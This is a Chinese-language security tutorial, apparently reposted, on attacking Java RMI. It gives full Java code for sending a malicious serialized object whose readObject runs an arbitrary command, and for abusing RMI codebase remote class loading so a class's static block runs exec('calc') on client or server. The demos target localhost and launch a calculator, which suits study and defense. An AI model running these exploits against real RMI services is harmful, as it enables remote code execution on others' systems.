原文地址:https://www.anquanke.com/post/id/194384#h3-3java
关于rmi客户端和服务端通讯的过程,java的方法都实如今rmi服务端,客户端其实是经过访问rmi注册表拿到stub,而后再经过它调用服务端方法,那么调用方法时要传递参数,参数能够为通常类型,也能够为引用类型,那么若是为引用类型,就可以利用服务端已经有的gaget chain来打server,由于参数其实是序列化传输的,那么数据到达服务端后一定会通过反序列化。服务器
客户端:ide
RMIClient.java函数
package com.longofo.javarmi;
import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIClient { /** * Java RMI恶意利用demo * * @param args * @throws Exception */ public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999); // 获取远程对象的引用 Services services = (Services) registry.lookup("Services"); PublicKnown malicious = new PublicKnown(); malicious.setParam("calc"); malicious.setMessage("haha"); // 使用远程对象的引用调用对应的方法 System.out.println(services.sendMessage(malicious)); } }
此时客户端要打服务端,所以要将恶意的对象做为参数传递到服务端,此时序列化的对象将在服务端反序列化post
publicKnown.javathis
package com.longofo.javarmi;
import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable; public class PublicKnown extends Message implements Serializable { private static final long serialVersionUID = 7439581476576889858L; private String param; public void setParam(String param) { this.param = param; } private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); Runtime.getRuntime().exec(this.param); } }
此时要传递的恶意对象确定要符合服务端参数类型的定义spa
服务端:code
RMIServer.javaserver
//RMIServer.java
package com.longofo.javarmi;
import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.UnicastRemoteObject; public class RMIServer { /** * Java RMI 服务端 * * @param args */ public static void main(String[] args) { try { // 实例化服务端远程对象 ServicesImpl obj = new ServicesImpl(); // 没有继承UnicastRemoteObject时须要使用静态方法exportObject处理 Services services = (Services) UnicastRemoteObject.exportObject(obj, 0); Registry reg; try { // 建立Registry reg = LocateRegistry.createRegistry(9999); System.out.println("java RMI registry created. port on 9999..."); } catch (Exception e) { System.out.println("Using existing registry"); reg = LocateRegistry.getRegistry(); } //绑定远程对象到Registry reg.bind("Services", services); } catch (RemoteException e) { e.printStackTrace(); } catch (AlreadyBoundException e) { e.printStackTrace(); } } }
ServiceImpl.java对象
package com.longofo.javarmi;
import java.rmi.RemoteException; public class ServicesImpl implements Services { public ServicesImpl() throws RemoteException { } @Override public Object sendMessage(Message msg) throws RemoteException { return msg.getMessage(); } }
Service.java
package com.longofo.javarmi;
import java.rmi.RemoteException; public interface Services extends java.rmi.Remote { Object sendMessage(Message msg) throws RemoteException; }
Message.java
package com.longofo.javarmi;
import java.io.Serializable; public class Message implements Serializable { private static final long serialVersionUID = -6210579029160025375L; private String msg; public Message() { } public String getMessage() { System.out.println("Processing message: " + msg); return msg; } public void setMessage(String msg) { this.msg = msg; } }
因此这里服务端存在漏洞的即为ServicesImpl类,其存在一个方法其入口参数为Message对象,而且这里Message这个类是继承自Serializable,便可以进行反序列化。服务端经过bind()函数绑定远程对象到RMI注册表中,此时客户端便可以访问RMI注册表拿到stub,便可调用服务端的方法,好比sendMessage()函数
此时先启动RMIServer.java,而后再启动RMIClient.java,便可达到打rmi服务端的效果,这里jdk版本为1.6
在服务端的readObject处下断点,便可看到调用栈,通过ConnectHandler后就可以肯定服务端要反序列化的类名
接下来就是经过反射调用PublicKnown类的readObject方法 ,进而到达readObject内部的命令执行代码段
java rmi动态加载类,其实就是经过指定codebase来制定远程的类仓库,咱们知道java在运行过程当中须要类的时候能够在本地加载,即在classpath中找,那么也能够经过codebase来指定远程库。默认是不容许远程加载的,如需加载则须要安装RMISecurityManager而且配置java.security.policy。而且须要java.rmi.server.useCodebaseOnly 的值必需为false,固然这也是受jdk版本限制的。
RMIClient.java
package com.longofo.javarmi;
import java.rmi.RMISecurityManager; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIClient1 { /** * Java RMI恶意利用demo * * @param args * @throws Exception */ public static void main(String[] args) throws Exception { //若是须要使用RMI的动态加载功能,须要开启RMISecurityManager,并配置policy以容许从远程加载类库 System.setProperty("java.security.policy", RMIClient1.class.getClassLoader().getResource("java.policy").getFile()); RMISecurityManager securityManager = new RMISecurityManager(); System.setSecurityManager(securityManager); Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999); // 获取远程对象的引用 Services services = (Services) registry.lookup("Services"); Message message = new Message(); message.setMessage("hahaha"); services.sendMessage(message); } }
此时RMI客户端正常操做,传入Message对象,并调用服务端sendMessage方法
ServiceImpl.java
package com.longofo.javarmi;
import com.longofo.remoteclass.ExportObject; import java.rmi.RemoteException; public class ServicesImpl1 implements Services { @Override public ExportObject sendMessage(Message msg) throws RemoteException { return new ExportObject(); } }
能够看到此时服务端实现Services接口的类的sendMessage方法返回值为ExportObject类型,即该类的实例
ExportObject.java
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//
package com.longofo.remoteclass;
import java.io.BufferedInputStream; import java.io.BufferedReader; import java.io.InputStreamReader; import java.io.Serializable; import java.util.Hashtable; import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; public class ExportObject implements ObjectFactory, Serializable { private static final long serialVersionUID = 4474289574195395731L; public ExportObject() { } public static void exec(String cmd) throws Exception { String sb = ""; BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream()); BufferedReader inBr; String lineStr; for(inBr = new BufferedReader(new InputStreamReader(in)); (lineStr = inBr.readLine()) != null; sb = sb + lineStr + "\n") { } inBr.close(); in.close(); } public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return null; } static { try { exec("calc"); } catch (Exception var1) { var1.printStackTrace(); } } }
这里实际上服务端返回的即为该ExportObject类的实例,该类是实现了对象工厂类,而且能够序列化的,因此能够经过jrmp进行传输,咱们只须要将其编译放在服务器端指定的codebase地址便可等待客户端来加载,当客户端远程加载该类时将会实例化该类,即调用该类的static代码段
RMIServer.java
package com.longofo.javarmi;
import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.UnicastRemoteObject; public class RMIServer1 { public static void main(String[] args) { try { // 实例化服务端远程对象 ServicesImpl1 obj = new ServicesImpl1(); // 没有继承UnicastRemoteObject时须要使用静态方法exportObject处理 Services services = (Services) UnicastRemoteObject.exportObject(obj, 0); //设置java.rmi.server.codebase System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/"); Registry reg; try { // 建立Registry reg = LocateRegistry.createRegistry(9999); System.out.println("java RMI registry created. port on 9999..."); } catch (Exception e) { System.out.println("Using existing registry"); reg = LocateRegistry.getRegistry(); } //绑定远程对象到Registry reg.bind("Services", services); } catch (RemoteException e) { e.printStackTrace(); } catch (AlreadyBoundException e) { e.printStackTrace(); } } }
此时RMIServer端指定了客户端codebase的地址,即客户端反序列化ExportObject时须要加载该类,此时将经过服务端提供的codebase来加载
此时先启动托管远程类的服务端,将ExportObject.class放在codebase指定的位置,这里要注意包名要和目录名相一致
而后启动RMI服务端,启动RMI客户端,即完成了客户端要调用sendMessage方法,此时服务端返回了ExportObject对象,客户端发现返回的是ExportObject对象后,那将在本地的classpath中没找到该类,则经过服务端指定的codebase来加载该类,加载该类的后将实例化该类,从而触发calc
此时托管class的http服务端也收到了加载class文件的请求
RMIClient.java
package com.longofo.javarmi;
import com.longofo.remoteclass.ExportObject1; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIClient2 { public static void main(String[] args) throws Exception { System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/"); Registry registry = LocateRegistry.getRegistry("127.0.0.1",9999); // 获取远程对象的引用 Services services = (Services) registry.lookup("Services"); ExportObject1 exportObject1 = new ExportObject1(); exportObject1.setMessage("hahaha"); services.sendMessage(exportObject1); } }
上面RMI客户端打RMI服务端是服务端来指定codebase地址供客户端参考,客户端来加载codebase地址的class文件,那么从上面这段代码能够看到此时是客户端制定了codebase地址,那么固然服务端就得从客户端指定的codebase来加载class了,能够看到此时客户端调用服务端的sendMessage函数传递的是ExportObject1对象
ExportObject1.java
package com.longofo.remoteclass;
import com.longofo.javarmi.Message; import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.io.Serializable; import java.util.Hashtable; public class ExportObject1 extends Message implements ObjectFactory, Serializable { private static final long serialVersionUID = 4474289574195395731L; public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return null; } }
此时该类继承自Message类,实现对象工厂接口,而且支持序列化
ServiceImpl.java
package com.longofo.javarmi;
import java.rmi.RemoteException; public class ServicesImpl implements Services { public ServicesImpl() throws RemoteException { } @Override public Object sendMessage(Message msg) throws RemoteException { return msg.getMessage(); } }
RMIServer.java
//RMIServer2.java
package com.longofo.javarmi;
import java.rmi.AlreadyBoundException; import java.rmi.RMISecurityManager; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.UnicastRemoteObject; public class RMIServer2 { /** * Java RMI 服务端 * * @param args */ public static void main(String[] args) { try { // 实例化服务端远程对象 ServicesImpl obj = new ServicesImpl(); // 没有继承UnicastRemoteObject时须要使用静态方法exportObject处理 Services services = (Services) UnicastRemoteObject.exportObject(obj, 0); Registry reg; try { //若是须要使用RMI的动态加载功能,须要开启RMISecurityManager,并配置policy以容许从远程加载类库 System.setProperty("java.security.policy", RMIServer.class.getClassLoader().getResource("java.policy").getFile()); RMISecurityManager securityManager = new RMISecurityManager(); System.setSecurityManager(securityManager); // 建立Registry reg = LocateRegistry.createRegistry(9999); System.out.println("java RMI registry created. port on 9999..."); } catch (Exception e) { System.out.println("Using existing registry"); reg = LocateRegistry.getRegistry(); } //绑定远程对象到Registry reg.bind("Services", services); } catch (RemoteException e) { e.printStackTrace(); } catch (AlreadyBoundException e) { e.printStackTrace(); } } }
能够由以上代码看到,此时RMI服务端绑定的services接口对应的ServicesImpl.java中sendMessage函数将会调用入口参数Message类型对象的getmessage函数,这里方法体内容是什么并不重要,由于这种打法和第一节中的打法同样,都是打RMI服务端,区别是第一节是利用RMI服务端本地的gaget chain,而这里则是利用远程类加载,经过客户端指定的codebase来打RMI服务端。
因此此时codebase的地址也将受到请求ExportObject1.class的请求,由于服务端发现穿送过来的ExportObject1类classpath里面没有,全部就会经过客户端指定的codebase加载,从而实例化该恶意ExportObject1类,执行static代码块的命令